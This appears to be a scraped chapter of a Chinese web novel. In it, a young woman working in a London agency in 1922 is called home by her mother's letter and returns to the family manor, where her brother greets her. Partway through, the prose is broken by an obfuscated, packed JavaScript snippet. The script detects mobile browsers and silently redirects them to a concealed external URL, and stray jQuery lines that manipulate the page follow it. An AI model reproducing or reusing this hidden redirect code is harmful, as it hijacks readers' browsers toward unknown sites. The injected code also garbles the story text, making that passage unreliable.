43.5.1

作品:《里斯克小姐的奇妙故事

    日子就这样子,一天一天过去了。


    伦敦几乎进入了最寒冷的季节,街道上已经开始弥漫上节日的气息。


    圣诞。


    我想没有人不清楚,这个节日,对于英国家庭来说,意味着什么。


    但是读者们,请原谅我陷入了一种纠结。


    这是我离家的第二年。


    当初离开的时候,父亲坚信,我会在外面碰壁,然后要不了多久就会乖乖回去。


    而我固执的坚持着。


    第一年圣诞,我并没有返回家。


    而今年的末尾,我遇见了简,经历了许多会几乎让我的父母昏厥的事情。


    我反倒是更加不敢回去了。


    家族的信偶尔会来,大多是批判和指责。母亲的担忧与关心,还有弟弟的劝告。


    我和简聊过关于我家族的事情,当然她必然是会支持我的。


    至于,圣诞节,对于简来说,只不过只是普通的又一天罢了。


    当然,你不能指望金环蛇。


    所以,我在考虑,要不要圣诞节陪简一起度过,当然肯定不会少了我们的梅尔小姐,还有老滴答。


    但是,一封信打破了我的计划。


    “本小姐,有您的信。”老滴答将一个信封放在我堆满档案的桌角。


    我的心,轻轻沉了一下。母亲的信件,与我们的事务所似乎格格不入。


    我放下手头的工作,用拆信刀小心翼翼地划开封口。


    信封的纸质优良。整体散发着母亲惯用的紫罗兰香氛。


    展开信纸,母亲的字迹跃然纸上,依旧优雅流畅。


    弗瑞,我亲爱的女儿:


    希望此信抵达时,你能安好。


    伦敦的天气想必如常,希望你多加注意,不要让湿冷的空气侵扰了健康。一件需你即刻知晓的事务,促使我提笔。


    你的父亲,于上周三晚间,由于一些事情,受了点刺激。医生已多次诊视,目前要求他必须静卧休养。他的精神尚可,但体力显然不济。病势虽非危急,然其状况着实令人忧虑。他需要安静,也需要家人在侧的支持。


    圣诞将至,本应是阖家团圆、共享天伦之时。庄园却总是发生一些怪事。弗瑞,我的女儿,庄园需要凝聚的力量。


    去年是一个遗憾,而今年,我希望你能够回来。我知你于伦敦的事务自有其重要性(请原谅我的直率,亲爱的,我始终认为一位淑女的真正价值,其展现的舞台应更为……传统)。


    弗瑞,在此特殊时刻,家族成员的在场,不仅是一种慰藉,更是一份责任。


    因此,我要求你,不,是恳切地期望你,务必于下周一,12月18日,搭乘最早一班列车返回萨罗郡。请务必安排好你在伦敦的事务,勿要延误。


    家中已为你预备好房间。萨罗郡的冬景虽不及伦敦喧嚣,但此刻,家的宁静与亲人的陪伴,方是重中之重。


    随信附上你的旅费汇票。责任与体面高于个人喜好,弗瑞。我深信你明白这个道理,也期待着你展现出应有的成熟与担当。


    期盼你的归来。愿主保佑你旅途平安。


    你深爱且忧虑的母亲,


    伊丽莎白·本


    1922年12月13日于本家庄园


    信纸在我手中微微颤抖,并非因为寒冷。


    我的脸色一定相当难看,一直注意着我的简忍不住开口问,“怎么了,弗瑞?”


    我将信递给她,指尖有些发凉。


    事务所里只有老式挂钟的滴答声,和窗外隐约传来的马车声。


    简接过信,她的目光迅速扫过那些优雅而带着无形重量的字句。


    简看完,将信纸轻轻放回我面前的桌上。


    “你父亲病了。”她的声音很平静,听不出情绪,只是陈述一个事实。


    “嗯。”我应了一声,目光落在母亲那句“责任与体面高于个人喜好”上。


    那熟悉的字句像无形的绳索,勒得我有些喘不过气。


    去年的圣诞,我还能用工作繁忙搪塞过去,今年……母亲的信,字字句句都敲在“责任”二字上,由不得我再逃避。


    “上周三的事……现在才来信。”我低声道,心里有些难受。


    父亲的脾气向来强硬,能让他“受了刺激”以至于需要卧床静养的,恐怕不是什么小事。还有那含糊其辞的“庄园怪事”……莫名地让人心头不安。


    “你怎么想?”简直接问道。她从不拐弯抹角。


    我抬起头,看向她。


    简的眼神清澈而坚定,一如既往。


    她不会劝我回去,也不会阻拦我。她只会支持我的决定。


    老滴答不知何时已悄然将一杯热茶放在我手边,蒸汽氤氲上来,模糊了一瞬视线。


    “我得回去一趟。”我听见自己的声音说,带着连自己都感到陌生的疲惫,“至少……得看看他到底怎么样了。”


    那毕竟是父亲。无论我们之间有多少争执和隔阂……


    简点了点头,没有意外。“什么时候走?”


    “母亲要求下周一,18号,最早一班车。”


    我拿起那张附在信里的汇票,薄薄的纸片,却像承载着整个家族的分量。


    “还有几天时间,处理一下手头的案子。”简的语气恢复了日常的利落,目光扫过我桌上堆积的文件,“能交给我处理的,就交给我。”


    老滴答在一旁,补充道:“本小姐,需要我为您预订火车票吗?还有,萨罗郡的天气比伦敦更湿冷,希望您务必带上厚实些的大衣和围巾。”


    “麻烦你了,我会的。”我感激地看了他一眼。


    我端起茶杯,温热的液体滑入喉咙,却没能完全驱散那份萦绕不去的忧虑。


    窗外的伦敦,节日的气氛越来越浓,彩灯在薄暮中开始闪烁。


    而我的思绪,却早已飘远。


    ……


    虽然我坚持在和简学习驾驶新式汽车,但在有限的时间里,我所会的仅仅只是将车子开动。当然,过程和目的地完全未知。


    所以,不要指望着我能够开车从伦敦到萨罗郡。


    临近圣诞的火车站里来往的人众多,寒冷的天气又让人保持沉默。


    月台冷得像冰窖,巨大的蒸汽机车头喘着粗重的白气,像一头蛰伏的钢铁怪兽。


    车厢里还算暖和。我找到靠窗的硬木座位坐下,皮箱塞进脚边。


    窗外是忙乱的月台,送行的、告别的、吆喝的小贩。


    我拒绝了简陪同我回家的事情。


    让简踏足本家庄园?


    想象父亲见到这位我的挚友兼搭档时的表情,还有母亲那不动声色的审视……


    面对那座古老的庄园和它森严的秩序,简的存在本身就是一种挑战,一种我目前无力承担的“刺激”。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078216|177843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    更何况,我也不愿意简因为我而受了我家人的批判。


    汽笛猛地拉响,尖锐刺耳。


    车身一震,缓缓动了起来。


    月台开始平稳地向后退去,速度越来越快。伦敦杂乱的屋顶、高耸的烟囱、模糊的节日装饰,逐渐被甩在身后。


    我靠在冰冷的车窗上,玻璃硌着额头。


    窗外的景色换成了铅灰色的天空下,一片片覆着残雪的萧瑟田野和光秃秃的树林,飞快地向后掠去。


    单调,寒冷。


    火车发出规律而沉闷的“哐当哐当”声。


    萨罗郡。到了。


    我吸了口气,拎着我的皮箱下车。


    站台上稀稀拉拉几个人影,裹在厚重的冬衣里,缩着脖子。


    没有熟悉的面孔。


    这在意料之中。


    母亲的信里只字未提派人来接,或许是一种无声的责备,又或许,庄园里真的自顾不暇了。


    站外孤零零停着几辆出租马车。


    车夫们揣着手,跺着脚,在寒风中守着这点微末生意。


    我一向不怎么喜欢冬天,它太漫长了,太寒冷了,它对人们并不友好。


    我走向最近的一辆,老马瘦骨嶙峋,喷着虚弱的白气。


    “本家庄园。”我报上地名。


    车夫是个干瘪的老头,裹着看不出颜色的厚围巾,只露出一双浑浊的眼睛,满是被生活压垮的疲惫。他上下打量了我一眼,然后无声地点点头,示意我上车。


    窗外的景象单调无趣。我也没什么心思观看。


    离庄园越近,心口那股沉甸甸的感觉就越发清晰。


    不是近乡情怯,更像是一种…戒备。母亲信里那句“庄园怪事”,像根小刺,让我忍不住警惕。


    不知过了多久,马车终于慢了下来。


    透过模糊的车窗,能隐约看到前方巨大铁门的轮廓,以及铁门后,在冬日黄昏的暗淡天光下,暮气沉沉的巨大庄园。


    那是,我的家。


    车夫勒住马,马车在紧闭的铁门前停下。他佝偻着背,慢吞吞地爬下座位去拉门铃。


    我推开车门,顶着刺骨的寒风站到地面上,抬头望着眼前紧闭的巨大铁门。


    庄园里静悄悄的,没有灯火,没有迎接的人声。只有风穿过树篱的呜咽。


    铁门内传来脚步声,缓慢而拖沓。


    一个穿着深色仆人装束的老妇人出现在门后,手里提着一盏光线微弱的马灯。灯光映着她布满皱纹的脸,她没说话,只是费力地拉开了沉重的铁门。


    马车夫把马车赶了进去,停在主楼前空旷冰冷的石子广场上。


    我付了钱,他依旧沉默着,接过硬币塞进口袋,调转马头,很快消失在暮色笼罩的林荫道尽头。


    老妇人提着灯,站在主楼高大的橡木门前,她终于开口,没什么情绪。


    “弗瑞小姐。您回来了。”


    门在她身后打开,显出莫名的压抑。


    “嗯。”我应了一声,紧了紧抱着皮箱的手臂,迈步跨过了那道高高的门槛。


    一个低沉沙哑的声音,在近处的阴影里突兀地响起。


    “你终于回来了,姐姐。”


    那声音里听不出是欢迎,还是别的什么。


    “纳迪尔(Naadir)?”


    纳迪尔·本(Naadir·Ben),我的弟弟。